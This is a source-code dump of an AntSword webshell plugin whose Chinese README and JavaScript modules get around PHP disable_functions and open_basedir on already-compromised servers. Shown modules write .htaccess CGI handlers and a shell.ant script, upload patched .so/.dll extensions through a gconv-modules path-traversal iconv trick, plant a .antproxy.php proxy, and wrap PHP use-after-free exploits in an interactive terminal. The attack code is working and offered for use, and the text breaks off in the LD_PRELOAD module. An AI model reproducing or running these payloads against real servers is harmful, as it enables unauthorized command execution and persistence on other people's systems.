├── .gitignore
├── README.md
├── core
├── apache_mod_cgi
│ └── index.js
├── base.js
├── iconv
│ └── index.js
├── json_serializer_uaf
│ └── index.js
├── ld_preload
│ └── index.js
├── php74_ffi
│ └── index.js
├── php7_backtrace_uaf
│ └── index.js
├── php7_gc_uaf
│ └── index.js
├── php7_reflectionproperty_uaf
│ └── index.js
├── php7_userfilter
│ └── index.js
├── php_concat_uaf
│ └── index.js
└── php_fpm
│ └── index.js
├── ext
├── ant_x32.dll
├── ant_x32.so
├── ant_x64.dll
├── ant_x64.so
├── ant_x86.dll
└── ant_x86.so
├── index.js
├── language
├── en.js
├── index.js
└── zh.js
├── package.json
└── payload.js
/.gitignore:
--------------------------------------------------------------------------------
1 | .DS_*
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # AntSword Bypass disable_function
2 |
3 | 突破 `disable_functions` 执行系统命令,绕过 Open_basedir 等安全机制
4 |
5 | ## php.ini 样例:
6 |
7 | ```
8 | disable_functions = pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,exec,shell_exec,popen,proc_open,passthru,symlink,link,syslog,imap_open,ld,mail,system
9 |
10 | open_basedir=.:/proc/:/tmp/
11 | ```
12 |
13 | ## 安装
14 |
15 | ### 商店安装
16 |
17 | 进入 AntSword 插件中心,选择「绕过disable_functions」,点击安装
18 |
19 | ### 手动安装
20 |
21 | 1.获取源代码
22 |
23 | ```bash
24 | $ git clone https://github.com/Medicean/as_bypass_php_disable_functions.git
25 | ```
26 |
27 | 或者
28 |
29 | 点击 [这里](https://github.com/Medicean/as_bypass_php_disable_functions/archive/master.zip) 下载源代码,并解压。
30 |
31 | 2.拷贝源代码至插件目录
32 |
33 | 将插件目录拷贝至 `antSword/antData/plugins/` 目录下即安装成功
34 |
35 | ## 演示图
36 |
37 | 
38 |
39 | ## 如何使用
40 |
41 | [绕过open_basedir思路(蚁剑插件演示)](https://mp.weixin.qq.com/s/GGnumPklkUNMLZKQL4NbKg)
42 |
43 |
44 | ## 测试环境
45 |
46 | 参见 [AntSword-Labs/bypass_disable_functions](https://github.com/AntSwordProject/AntSword-Labs/tree/master/bypass_disable_functions/)
47 |
48 | ## 支持情况:
49 |
50 | 模式 | Bypass 方式 | Linux | Windows |
51 | :--|:--|:--|:--|
52 | `LD_PRELOAD`|启动新WebServer| Yes | No |
53 | `Fastcgi/PHP_FPM` | 启动新WebServer | Yes | Yes (不支持 IIS PIPE ) |
54 | `Apache_mod_cgi` | 重定向输出到文件 | Yes | No (TODO) |
55 | `JSON_Serializer_UAF` | stdout | Yes | No (TODO) |
56 | `PHP7_GC_UAF` | stdout | Yes | No (TODO) |
57 | `PHP7_Backtrace_UAF`| stdout | Yes | No (TODO) |
58 | `PHP74_FFI`| 重定向输出到文件| Yes | Yes |
59 | `iconv`|启动新WebServer| Yes | No (TODO) |
60 | `PHP7_ReflectionProperty_UAF`| stdout | Yes | No (TODO) |
61 | `PHP7_UserFilter` | stdout | Yes | Yes |
62 | `PHP_Concat_UAF` | stdout | Yes | No |
63 |
64 |
65 | - [x] LD_PRELOAD
66 |
67 | 利用 LD_PRELOAD 环境变量加载 so 文件, LD_PRELOAD 只在 Linux 系统上才有
68 |
69 | - [x] PHP-FPM/FCGI
70 |
71 | 适用于PHP-FPM/FCGI 监听在 unix socket 或者 tcp socket 上时使用。常见的比如: `nginx + fpm`
72 |
73 | IIS+FPM 使用的是「管道」通信,不适用
74 |
75 | - [x] COM (windown, php 5.3~5.6 已在antsword核心集成)
76 | - [x] Apache Mod CGI
77 | - [x] Json Serializer UAF ([PHP-Bug-#77843](https://bugs.php.net/bug.php?id=77843))
78 | - [x] GC with Certain Destructors UAF ([PHP-Bug-#72530](https://bugs.php.net/bug.php?id=72530))
79 | - [X] Backtrace UAF ([PHP-Bug-#76047](https://bugs.php.net/bug.php?id=76047))
80 | - [x] PHP7 FFI
81 | - [x] iconv
82 | - [x] PHP7 ReflectionProperty UAF ([PHP-Bug-#79820](https://bugs.php.net/bug.php?id=79820))
83 | - [x] PHP 7.0-8.0 user_filter ([PHP-Bug-#54350](https://bugs.php.net/bug.php?id=54350))
84 | - [x] PHP7.3-8.1 concat_function UAF([PHP-Bug-81705](https://bugs.php.net/bug.php?id=81705))
85 |
86 | ## 相关链接
87 |
88 | * [AntSword 文档](http://doc.u0u.us)
89 | * [dhtmlx 文档](http://docs.dhtmlx.com/)
90 | * [mm0r1/exploits](https://github.com/mm0r1/exploits/)
--------------------------------------------------------------------------------
/core/apache_mod_cgi/index.js:
--------------------------------------------------------------------------------
1 | 'use strict';
2 |
3 | const Base = require('../base');
4 | const LANG = require('../../language'); // 插件语言库
5 | const LANG_T = antSword['language']['toastr']; // 通用通知提示
6 | const nodeurl = require('url');
7 |
8 | let APACHE_MOD_CGI_LANG = LANG['core']['apache_mod_cgi'];
9 |
10 | class APACHE_MOD_CGI extends Base {
11 | /**
12 | *
13 | * @param {dhtmlxObject} cell 组件
14 | * @param {Object} top 上层对象
15 | */
16 | constructor(cell, top) {
17 | super(cell, top);
18 | if (this.precheck() == false) {
19 | return;
20 | }
21 | this.infodata = {
22 | modcgi: false,
23 | writable: false,
24 | htaccess: false,
25 | localaddr: "127.0.0.1:80",
26 | };
27 | this.cell = cell;
28 | this.form = this.createForm(this.cell);
29 | }
30 |
31 | // 提前检测
32 | precheck() {
33 | let self = this;
34 | let infodata = self.top.infodata;
35 | if (infodata.os.toLowerCase() !== "linux") {
36 | toastr.error(LANG['precheck']['only_linux'], LANG_T['error']);
37 | return false;
38 | }
39 | return true;
40 | }
41 |
42 | createForm(cell) {
43 | let self = this;
44 | let form = cell.attachForm([{
45 | type: 'settings',
46 | position: 'label-left',
47 | labelWidth: 100,
48 | inputWidth: 300,
49 | }, {
50 | type: 'block',
51 | inputWidth: 'auto',
52 | list: [{
53 | type: 'label',
54 | label: APACHE_MOD_CGI_LANG['title']
55 | }, {
56 | type: 'block',
57 | inputWidth: 'auto',
58 | list: [{
59 | type: 'settings'
60 | },
61 | {
62 | type: "label",
63 | label: `${APACHE_MOD_CGI_LANG['status_cell']['modcgi']}`,
64 | },
65 | {
66 | type: "label",
67 | label: `${APACHE_MOD_CGI_LANG['status_cell']['writable']}`,
68 | },
69 | {
70 | type: "label",
71 | label: `${APACHE_MOD_CGI_LANG['status_cell']['htaccess']}`,
72 | },
73 | {
74 | type: "newcolumn"
75 | },
76 | {
77 | type: "label",
78 | label: `${antSword.noxss(self.infodata['modcgi']?'YES':'NO')}`,
79 | }, {
80 | type: "label",
81 | label: `${antSword.noxss(self.infodata['writable']?'YES':'NO')}`,
82 | }, {
83 | type: "label",
84 | label: `${antSword.noxss(self.infodata['htaccess']?'YES':'NO')}`,
85 | },
86 | ],
87 | }]
88 | },
89 | {
90 | type: 'block',
91 | labelWidth: 100,
92 | inputWidth: 'auto',
93 | className: "display: flex;flex-direction: row;align-items: center;",
94 | list: [{
95 | type: 'label',
96 | label: '',
97 | name: 'status_label'
98 | }, {
99 | type: 'newcolumn',
100 | offset: 20
101 | }, {
102 | type: 'label',
103 | label: '',
104 | name: 'status_msg'
105 | }, ]
106 | },
107 | {
108 | type: 'block',
109 | inputWidth: 'auto',
110 | list: [{
111 | type: 'template',
112 | label: "Reference",
113 | style: "width:100%;",
114 | format: references
115 | }, ]
116 | }
117 | ], true);
118 | return form;
119 | }
120 |
121 | // 执行EXP, 必须有这个函数
122 | exploit() {
123 | let self = this;
124 | self.core = self.top.core;
125 | let pre_code = {
126 | _: `if(empty($_SERVER['HTACCESS'])) {
127 | @file_put_contents('.htaccess', "\\nSetEnv HTACCESS on", FILE_APPEND);
128 | ${self.top.opt.url.includes("127.0.0.1")?"@phpinfo();":""}
129 | }`,
130 | };
131 | let check_code = {
132 | _: `$rt = array("modcgi" => in_array('mod_cgi', @apache_get_modules()),
133 | "writable" => is_writable('.'),
134 | "htaccess" => !empty($_SERVER['HTACCESS']),
135 | );
136 | echo json_encode($rt);`
137 | };
138 | new Promise((res, rej) => {
139 | self.core
140 | .request(pre_code)
141 | .then((response) => {
142 | let re = /
Hostname:Port\s+?<\/td> | (.+?)\s+?<\/td><\/tr>/;
143 | if (self.top.opt.url.includes('127.0.0.1')) {
144 | if (re.test(response['text'])) {
145 | self.infodata['localaddr'] = RegExp.$1;
146 | }
147 | }
148 | self.core
149 | .request(check_code)
150 | .then((_ret) => {
151 | let _res = antSword.unxss(_ret['text']);
152 | self.infodata = Object.assign(self.infodata, JSON.parse(_res));
153 | self.form = self.createForm(self.cell);
154 | res(self.infodata);
155 | }).catch((err) => {
156 | rej(err);
157 | })
158 | }).catch((err) => {
159 | rej(err);
160 | })
161 | }).then(info => {
162 | if (!(info.modcgi && info.htaccess && info.writable)) {
163 | rej('check failed');
164 | }
165 | })
166 | .then(() => {
167 | let expcode = {
168 | _: `@copy(".htaccess", ".htaccess.bak");
169 | @file_put_contents('.htaccess', "Options +ExecCGI\\nAddHandler cgi-script .ant");
170 | @file_put_contents('shell.ant', "#!/bin/sh\\n\\necho&ls");
171 | @chmod("shell.ant", 0777);`
172 | };
173 | self.core.request(expcode)
174 | .then(() => {
175 | new antSword.module.terminal(self.top.opt, {
176 | exec: (arg = {
177 | bin: '/bin/bash',
178 | cmd: ''
179 | }) => {
180 | let content = Buffer.from(`#!${arg['bin']}\necho&&${arg['cmd']}`).toString('base64');
181 | let target = "";
182 | if (self.top.opt.url.includes('127.0.0.1')) {
183 | target = `$url['scheme']."://${self.infodata['localaddr']}".$url['path'];`;
184 | } else {
185 | target = `$url['scheme']."://".$_SERVER['HTTP_HOST'].$url['path'];`;
186 | }
187 | return {
188 | _: `@file_put_contents('shell.ant', base64_decode("${content}"));
189 | $url=parse_url("${nodeurl.resolve(self.top.opt.url, 'shell.ant')}");
190 | $target=${target};
191 | echo @file_get_contents($target);`,
192 | // header("Location: ${nodeurl.resolve(self.top.opt.url, 'shell.ant')}");
193 | // echo @file_get_contents("${nodeurl.resolve(self.top.opt.url, 'shell.ant')}");
194 | }
195 | }
196 | });
197 | })
198 | .catch(err => {
199 | throw err;
200 | });
201 | })
202 | .catch((err) => {
203 | toastr.error(`${LANG['error']}: ${JSON.stringify(err)}`, LANG_T['error']);
204 | });
205 | }
206 | }
207 |
208 | function references(name, value) {
209 | let refs = {
210 | "AntSword-Labs/bypass_disable_functions/3": "https://github.com/AntSwordProject/AntSword-Labs/blob/master/bypass_disable_functions/3",
211 | "Bypass PHP system functions disabled via mod_cgi (0cx.cc)": "http://0cx.cc/bypass_disabled_via_mod_cgi.jspx",
212 | "github.com/l3m0n/Bypass_Disable_functions_Shell": "https://github.com/l3m0n/Bypass_Disable_functions_Shell/blob/master/exp/apache_mod_cgi/exp.php",
213 | };
214 | let ret = "";
215 | Object.keys(refs).map((k) => {
216 | ret += `${k}`;
217 | })
218 | return ``;
219 | }
220 |
221 | module.exports = APACHE_MOD_CGI;
--------------------------------------------------------------------------------
/core/base.js:
--------------------------------------------------------------------------------
1 | 'use strict';
2 |
3 | const fs = require('fs');
4 | const {
5 | ProxyScript,
6 | ProxyScriptFsock
7 | } = require('../payload');
8 | const LANG = require('../language'); // 插件语言库
9 | const LANG_T = antSword['language']['toastr']; // 通用通知提示
10 |
11 | class Base {
12 | /**
13 | * 初始化
14 | * @param {Object} cell dhtmlx.cell对象
15 | * @param {Object} top 顶层对象
16 | * @return {Object} this
17 | */
18 | constructor(cell, top) {
19 | var self = this;
20 | this.cell = cell;
21 | this.top = top;
22 | self.isOpenBasedir = (Object.keys(self.top.infodata.open_basedir).length > 0);
23 | let arch = self.top.infodata.arch;
24 | if(arch == 32) {
25 | arch = 86;
26 | }
27 | self.ext_name = `ant_x${arch}.${self.top.infodata.os.toLowerCase() === "linux" ? "so": "dll"}`;
28 | self.ext_path = path.join(__dirname, `../ext/ant_x${arch}.${self.top.infodata.os.toLowerCase() === "linux" ? "so": "dll"}`);
29 | }
30 |
31 | // 生成扩展
32 | generateExt(cmd) {
33 | let self = this;
34 | let fileBuff = fs.readFileSync(self.ext_path);
35 | let start = 0,
36 | end = 0;
37 | switch (self.ext_name) {
38 | case 'ant_x86.so':
39 | case 'ant_x32.so':
40 | start = 275;
41 | end = 504;
42 | break;
43 | case 'ant_x64.so':
44 | // 434-665
45 | start = 434;
46 | end = 665;
47 | break;
48 | case 'ant_x86.dll':
49 | case 'ant_x32.dll':
50 | start = 1544;
51 | end = 1683;
52 | break;
53 | case 'ant_x64.dll':
54 | start = 1552;
55 | end = 1691;
56 | break;
57 | default:
58 | break;
59 | }
60 | if (cmd.length > (end - start)) {
61 | return
62 | }
63 | fileBuff[end] = 0;
64 | fileBuff.write(" ", start);
65 | fileBuff.write(cmd, start);
66 | return fileBuff;
67 | }
68 |
69 | // 上传代理脚本
70 | uploadProxyScript(host = "127.0.0.1", port = 61111) {
71 | const PROXY_LANG = LANG['core']['base']['proxyscript'];
72 | let self = this;
73 | let proxycontent = "";
74 | if (self.top.infodata.funcs.hasOwnProperty['curl_init'] && self.top.infodata.funcs['curl_init'] == 1) {
75 | proxycontent = ProxyScript(`http://${host}:${port}/${self.top.infodata.shell_name}`);
76 | } else {
77 | proxycontent = ProxyScriptFsock(host, port, `/${self.top.infodata.shell_name}`);
78 | }
79 | self.top.core.request(
80 | self.top.core.filemanager.create_file({
81 | path: `${self.top.infodata.shell_dir}/.antproxy.php`,
82 | content: proxycontent,
83 | })
84 | ).then((res) => {
85 | let ret = res['text'];
86 | if (ret === '1') {
87 | toastr.success(PROXY_LANG['success'](`${self.top.infodata.shell_dir}/.antproxy.php`), LANG_T['success']);
88 | } else {
89 | toastr.error(PROXY_LANG['fail'], LANG_T['error']);
90 | }
91 | }).catch((err) => {
92 | toastr.error(`${LANG['error']}: ${JSON.stringify(err)}`, LANG_T['error']);
93 | });
94 | }
95 |
96 | /*
97 | 比较 x.y.z 版本号大小
98 | */
99 | CompVersion(minVer, curVer) {
100 | // 如果版本相同
101 | if (curVer === minVer) {
102 | return true
103 | }
104 | let currVerArr = curVer.split(".");
105 | let minVerArr = minVer.split(".");
106 | let len = Math.max(currVerArr.length, minVerArr.length);
107 | for (let i = 0; i < len; i++) {
108 | let minVal = ~~minVerArr[i],
109 | curVal = ~~currVerArr[i];
110 | if (minVal < curVal) {
111 | return true;
112 | } else if (minVal > curVal) {
113 | return false;
114 | }
115 | }
116 | return false;
117 | }
118 | }
119 | module.exports = Base;
--------------------------------------------------------------------------------
/core/iconv/index.js:
--------------------------------------------------------------------------------
1 | 'use strict';
2 |
3 | const Base = require('../base');
4 | const LANG = require('../../language'); // 插件语言库
5 | const LANG_T = antSword['language']['toastr']; // 通用通知提示
6 |
7 | let ICONV_LANG = LANG['core']['iconv'];
8 |
9 | class ICONV extends Base {
10 | /**
11 | *
12 | * @param {dhtmlxObject} cell 组件
13 | * @param {Object} top 上层对象
14 | */
15 | constructor(cell, top) {
16 | super(cell, top);
17 | if (this.precheck() == false) {
18 | return;
19 | }
20 | this.form = this.createForm(this.cell);
21 | }
22 |
23 | // 提前检测
24 | precheck() {
25 | let self = this;
26 | let infodata = self.top.infodata;
27 | if (infodata.os.toLowerCase() !== "linux") {
28 | toastr.error(LANG['precheck']['only_linux'], LANG_T['error']);
29 | return false;
30 | }
31 | return true;
32 | }
33 |
34 | createForm(cell) {
35 | let self = this;
36 | let form = cell.attachForm([{
37 | type: 'settings',
38 | position: 'label-left',
39 | labelWidth: 100,
40 | inputWidth: 300,
41 | }, {
42 | type: 'block',
43 | inputWidth: 'auto',
44 | list: [{
45 | type: 'label',
46 | label: ICONV_LANG['title']
47 | },
48 | {
49 | type: 'block',
50 | inputWidth: 'auto',
51 | list: [{
52 | type: 'settings'
53 | },
54 | {
55 | type: "label",
56 | label: `putenv`,
57 | },
58 | {
59 | type: "label",
60 | label: `iconv (option)`,
61 | },
62 | {
63 | type: "newcolumn"
64 | },
65 | {
66 | type: "label",
67 | label: `${antSword.noxss(self.top.infodata.funcs['putenv']?'YES':'NO')}`,
68 | }, {
69 | type: "label",
70 | label: `${antSword.noxss(self.top.infodata.funcs['iconv']?'YES':'NO')}`,
71 | },
72 | ],
73 | },
74 | {
75 | type: 'combo',
76 | label: ICONV_LANG['form']['phpbinary'],
77 | labelWidth: 300,
78 | name: 'phpbinary',
79 | required: true,
80 | options: (() => {
81 | let vals = [
82 | 'php',
83 | 'php.exe',
84 | '/usr/bin/php',
85 | 'C:/php/php.exe'
86 | ];
87 | let ret = [];
88 | vals.map((_) => {
89 | ret.push({
90 | text: _,
91 | value: _
92 | });
93 | });
94 | return ret;
95 | })()
96 | },
97 | {
98 | type: 'combo',
99 | label: ICONV_LANG['form']['webroot'],
100 | labelWidth: 300,
101 | name: 'webrootdir',
102 | required: true,
103 | options: (() => {
104 | let vals = [
105 | self.top.infodata.phpself,
106 | self.top.infodata.shell_dir,
107 | self.top.infodata.temp_dir,
108 | ];
109 | let ret = [];
110 | vals.map((_) => {
111 | ret.push({
112 | text: _,
113 | value: _
114 | });
115 | });
116 | return ret;
117 | })()
118 | }
119 | ]
120 | },
121 | {
122 | type: 'block',
123 | labelWidth: 100,
124 | inputWidth: 'auto',
125 | className: "display: flex;flex-direction: row;align-items: center;",
126 | list: [{
127 | type: 'label',
128 | label: '',
129 | name: 'status_label'
130 | }, {
131 | type: 'newcolumn',
132 | offset: 20
133 | }, {
134 | type: 'label',
135 | label: '',
136 | name: 'status_msg'
137 | }, ]
138 | },
139 | {
140 | type: 'block',
141 | inputWidth: 'auto',
142 | list: [{
143 | type: 'template',
144 | label: "Reference",
145 | style: "width:100%;",
146 | format: references
147 | }, ]
148 | }
149 | ], true);
150 | return form;
151 | }
152 |
153 | // 执行EXP, 必须有这个函数
154 | exploit() {
155 | let self = this;
156 | let port = Math.floor(Math.random() * 5000) + 60000; // 60000~65000
157 | if (self.form.validate()) {
158 | self.cell.progressOn();
159 | let core = self.top.core;
160 | let formvals = self.form.getValues();
161 | let phpbinary = formvals['phpbinary'];
162 | let webrootdir = formvals['webrootdir'];
163 | // 生成 ext
164 | let wdir = "";
165 | if (self.isOpenBasedir) {
166 | for (var v in self.top.infodata.open_basedir) {
167 | if (self.top.infodata.open_basedir[v] == 1) {
168 | if (v == self.top.infodata.phpself) {
169 | wdir = v;
170 | } else {
171 | wdir = v;
172 | }
173 | break;
174 | }
175 | };
176 | } else {
177 | wdir = self.top.infodata.temp_dir;
178 | }
179 | let cmd = `${phpbinary} -n -S 127.0.0.1:${port} -t ${webrootdir}`;
180 | let fileBuffer = self.generateExt(cmd);
181 | if (!fileBuffer) {
182 | toastr.warning(ICONV_LANG['msg']['genext_err'], LANG_T["warning"]);
183 | self.cell.progressOff();
184 | return
185 | }
186 |
187 | new Promise((res, rej) => {
188 | var ext_path = `${wdir}/.${String(Math.random()).substr(2, 5)}${self.ext_name}`;
189 | // 上传 ext
190 | core.request(
191 | core.filemanager.upload_file({
192 | path: ext_path,
193 | content: fileBuffer
194 | })
195 | ).then((response) => {
196 | var ret = response['text'];
197 | if (ret === '1') {
198 | toastr.success(`Upload extension ${ext_path} success.`, LANG_T['success']);
199 | res(ext_path);
200 | } else {
201 | rej("upload extension fail");
202 | }
203 | }).catch((err) => {
204 | rej(err)
205 | });
206 | }).then((p) => {
207 | // 触发 payload, 会超时
208 | var payloaddir = path.dirname(p);
209 | var gconvmodules_payload = `module PAYLOAD// INTERNAL ../../../../../../../../../../../../../../../../../../../../../../../../../..${p.substring(0,p.length-3)} 2
210 | module INTERNAL PAYLOAD// ../../../../../../../../../../../../../../../../../../../../../../../../../..${p.substring(0,p.length-3)} 2
211 | `;
212 | var gconvmodules = Buffer.from(gconvmodules_payload).toString('base64');
213 | var payload = `file_put_contents("${payloaddir}/gconv-modules",base64_decode("${gconvmodules}"));
214 | putenv("GCONV_PATH=${payloaddir}");
215 | if(function_exists('iconv')){
216 | iconv("payload","UTF-8","whatever");
217 | }else if(function_exists('iconv_strlen')){
218 | iconv_strlen("1","payload");
219 | }else if(function_exists('file_get_contents')){
220 | @file_get_contents("php://filter/convert.iconv.payload.UTF-8/resource=data://text/plain;base64,MQ==");
221 | }else{
222 | @fopen('php://filter/convert.iconv.payload.UTF-8/resource=data://text/plain;base64,MQ==','r');
223 | };
224 | echo(1);`;
225 | core.request({
226 | _: payload,
227 | }).then((response) => {
228 |
229 | }).catch((err) => {
230 | // 超时也是正常
231 | })
232 | }).then(() => {
233 | // 验证是否成功开启
234 | var payload = `sleep(1);
235 | $fp = @fsockopen("127.0.0.1", ${port}, $errno, $errstr, 1);
236 | if(!$fp){
237 | echo(0);
238 | }else{
239 | echo(1);
240 | @fclose($fp);
241 | };`
242 | core.request({
243 | _: payload,
244 | }).then((response) => {
245 | var ret = response['text'];
246 | if (ret === '1') {
247 | toastr.success(LANG['success'], LANG_T['success']);
248 | self.form.setItemLabel('status_label', `New WebServer Listen`);
249 | self.form.setItemLabel('status_msg', `127.0.0.1:${port}`);
250 | self.uploadProxyScript("127.0.0.1", port);
251 | self.cell.progressOff();
252 | } else {
253 | self.cell.progressOff();
254 | throw ("exploit fail");
255 | }
256 | }).catch((err) => {
257 | self.cell.progressOff();
258 | toastr.error(`${LANG['error']}: ${JSON.stringify(err)}`, LANG_T['error']);
259 | });
260 | }).catch((err) => {
261 | self.cell.progressOff();
262 | toastr.error(`${LANG['error']}: ${JSON.stringify(err)}`, LANG_T['error']);
263 | });
264 | } else {
265 | toastr.warning(LANG['form_not_comp'], LANG_T["warning"]);
266 | }
267 | return;
268 | }
269 | }
270 |
271 | function references(name, value) {
272 | let refs = {
273 | "github.com/AntSwordProject/AntSword-Labs/tree/master/bypass_disable_functions/9/": "https://github.com/AntSwordProject/AntSword-Labs/tree/master/bypass_disable_functions/9/",
274 | "https://gist.github.com/LoadLow/90b60bd5535d6c3927bb24d5f9955b80": "https://gist.github.com/LoadLow/90b60bd5535d6c3927bb24d5f9955b80",
275 | };
276 | let ret = "";
277 | Object.keys(refs).map((k) => {
278 | ret += `${k}`;
279 | })
280 | return ``;
281 | }
282 | module.exports = ICONV;
--------------------------------------------------------------------------------
/core/json_serializer_uaf/index.js:
--------------------------------------------------------------------------------
1 | 'use strict';
2 |
3 | const Base = require('../base');
4 | const LANG = require('../../language'); // 插件语言库
5 | const LANG_T = antSword['language']['toastr']; // 通用通知提示
6 | const nodeurl = require('url');
7 | const {
8 | JSON_Serializer_UAF
9 | } = require('../../payload');
10 | let JSON_SERIALIZER_UAF_LANG = LANG['core']['json_serializer_uaf'];
11 |
12 | class JSON_SERIALIZER_UAF extends Base {
13 | /**
14 | *
15 | * @param {dhtmlxObject} cell 组件
16 | * @param {Object} top 上层对象
17 | */
18 | constructor(cell, top) {
19 | super(cell, top);
20 | if (this.precheck() == false) {
21 | return;
22 | }
23 | this.infodata = {
24 | ver: this.top.infodata.ver,
25 | };
26 | this.cell = cell;
27 | this.form = this.createForm(this.cell);
28 | }
29 |
30 | // 提前检测
31 | precheck() {
32 | let self = this;
33 | let infodata = self.top.infodata;
34 | if (infodata.os.toLowerCase() !== "linux") {
35 | toastr.error(LANG['precheck']['only_linux'], LANG_T['error']);
36 | return false;
37 | }
38 | if (infodata.ver != "7.1" && infodata.ver != "7.2" && infodata.ver != "7.3") {
39 | toastr.error(JSON_SERIALIZER_UAF_LANG['err']['phpvererr'], LANG_T['error']);
40 | return false;
41 | }
42 | // TODO: 检查详细版本号
43 | return true;
44 | }
45 |
46 | createForm(cell) {
47 | let self = this;
48 | let form = cell.attachForm([{
49 | type: 'settings',
50 | position: 'label-left',
51 | labelWidth: 100,
52 | inputWidth: 300,
53 | }, {
54 | type: 'block',
55 | inputWidth: 'auto',
56 | list: [{
57 | type: 'label',
58 | labelWidth: 300,
59 | label: JSON_SERIALIZER_UAF_LANG['title']
60 | }, {
61 | type: 'block',
62 | inputWidth: 'auto',
63 | list: [{
64 | type: 'settings'
65 | },
66 | {
67 | type: "label",
68 | label: `${JSON_SERIALIZER_UAF_LANG['status_cell']['ver']}`,
69 | },
70 | {
71 | type: "newcolumn"
72 | },
73 | {
74 | type: "label",
75 | labelWidth: 300,
76 | label: `7.1 - all versions to date`,
77 | },
78 | {
79 | type: "label",
80 | labelWidth: 300,
81 | label: `7.2 < 7.2.19 (released: 30 May 2019)`,
82 | },
83 | {
84 | type: "label",
85 | labelWidth: 300,
86 | label: `7.3 < 7.3.6 (released: 30 May 2019)`,
87 | },
88 | ],
89 | }]
90 | },
91 | {
92 | type: 'block',
93 | labelWidth: 100,
94 | inputWidth: 'auto',
95 | className: "display: flex;flex-direction: row;align-items: center;",
96 | list: [{
97 | type: 'label',
98 | label: '',
99 | name: 'status_label'
100 | }, {
101 | type: 'newcolumn',
102 | offset: 20
103 | }, {
104 | type: 'label',
105 | label: '',
106 | name: 'status_msg'
107 | }, ]
108 | },
109 | {
110 | type: 'block',
111 | inputWidth: 'auto',
112 | list: [{
113 | type: 'template',
114 | label: "Reference",
115 | style: "width:100%;",
116 | format: references
117 | }, ]
118 | }
119 | ], true);
120 | return form;
121 | }
122 |
123 | // 执行EXP, 必须有这个函数
124 | exploit() {
125 | let self = this;
126 | self.core = self.top.core;
127 | let binary = '/bin/sh'
128 | if(self.top.infodata.os.toLowerCase().startsWith('win')) {
129 | binary = 'cmd'
130 | }
131 | new antSword.module.terminal(self.top.opt, {
132 | exec: (arg = {
133 | bin: binary,
134 | cmd: ''
135 | }) => {
136 | return {
137 | _: JSON_Serializer_UAF(arg['bin'], arg['cmd']),
138 | }
139 | }
140 | });
141 | }
142 | }
143 |
144 | function references(name, value) {
145 | let refs = {
146 | "AntSword-Labs/bypass_disable_functions/6": "https://github.com/AntSwordProject/AntSword-Labs/blob/master/bypass_disable_functions/6",
147 | "php-json-bypass": "https://github.com/mm0r1/exploits/tree/master/php-json-bypass",
148 | "Bug #77843 Use after free with json serializer": "https://bugs.php.net/bug.php?id=77843",
149 | };
150 | let ret = "";
151 | Object.keys(refs).map((k) => {
152 | ret += `${k}`;
153 | })
154 | return ``;
155 | }
156 |
157 | module.exports = JSON_SERIALIZER_UAF;
--------------------------------------------------------------------------------
/core/ld_preload/index.js:
--------------------------------------------------------------------------------
1 | 'use strict';
2 |
3 | const Base = require('../base');
4 | const LANG = require('../../language'); // 插件语言库
5 | const LANG_T = antSword['language']['toastr']; // 通用通知提示
6 |
7 | let LD_PRELOAD_LANG = LANG['core']['ld_preload'];
8 |
9 | class LD_PRELOAD extends Base {
10 | /**
11 | *
12 | * @param {dhtmlxObject} cell 组件
13 | * @param {Object} top 上层对象
14 | */
15 | constructor(cell, top) {
16 | super(cell, top);
17 | if (this.precheck() == false) {
18 | return;
19 | }
20 | this.form = this.createForm(this.cell);
21 | }
22 |
23 | // 提前检测
24 | precheck() {
25 | let self = this;
26 | let infodata = self.top.infodata;
27 | if (infodata.os.toLowerCase() !== "linux") {
28 | toastr.error(LANG['precheck']['only_linux'], LANG_T['error']);
29 | return false;
30 | }
31 | return true;
32 | }
33 |
34 | createForm(cell) {
35 | let self = this;
36 | let form = cell.attachForm([{
37 | type: 'settings',
38 | position: 'label-left',
39 | labelWidth: 100,
40 | inputWidth: 300,
41 | }, {
42 | type: 'block',
43 | inputWidth: 'auto',
44 | list: [{
45 | type: 'label',
46 | label: LD_PRELOAD_LANG['title']
47 | },
48 | {
49 | type: 'block',
50 | inputWidth: 'auto',
51 | list: [{
52 | type: 'settings'
53 | },
54 | {
55 | type: "label",
56 | label: `putenv`,
57 | },
58 | {
59 | type: "label",
60 | label: `error_log`,
61 | },
62 | {
63 | type: "newcolumn"
64 | },
65 | {
66 | type: "label",
67 | label: `${antSword.noxss(self.top.infodata.funcs['putenv']?'YES':'NO')}`,
68 | }, {
69 | type: "label",
70 | label: `${antSword.noxss(self.top.infodata.funcs['error_log']?'YES':'NO')}`,
71 | },
72 | ],
73 | },
74 | {
75 | type: 'combo',
76 | label: LD_PRELOAD_LANG['form']['phpbinary'],
77 | labelWidth: 300,
78 | name: 'phpbinary',
79 | required: true,
80 | options: (() => {
81 | let vals = [
82 | 'php',
83 | 'php.exe',
84 | '/usr/bin/php',
85 | 'C:/php/php.exe'
86 | ];
87 | let ret = [];
88 | vals.map((_) => {
89 | ret.push({
90 | text: _,
91 | value: _
92 | });
93 | });
94 | return ret;
95 | })()
96 | },
97 | {
98 | type: 'combo',
99 | label: LD_PRELOAD_LANG['form']['webroot'],
100 | labelWidth: 300,
101 | name: 'webrootdir',
102 | required: true,
103 | options: (() => {
104 | let vals = [
105 | self.top.infodata.phpself,
106 | self.top.infodata.shell_dir,
107 | self.top.infodata.temp_dir,
108 | ];
109 | let ret = [];
110 | vals.map((_) => {
111 | ret.push({
112 | text: _,
113 | value: _
114 | });
115 | });
116 | return ret;
117 | })()
118 | }
119 | ]
120 | },
121 | {
122 | type: 'block',
123 | labelWidth: 100,
124 | inputWidth: 'auto',
125 | className: "display: flex;flex-direction: row;align-items: center;",
126 | list: [{
127 | type: 'label',
128 | label: '',
129 | name: 'status_label'
130 | }, {
131 | type: 'newcolumn',
132 | offset: 20
133 | }, {
134 | type: 'label',
135 | label: '',
136 | name: 'status_msg'
137 | }, ]
138 | },
139 | {
140 | type: 'block',
141 | inputWidth: 'auto',
142 | list: [{
143 | type: 'template',
144 | label: "Reference",
145 | style: "width:100%;",
146 | format: references
147 | }, ]
148 | }
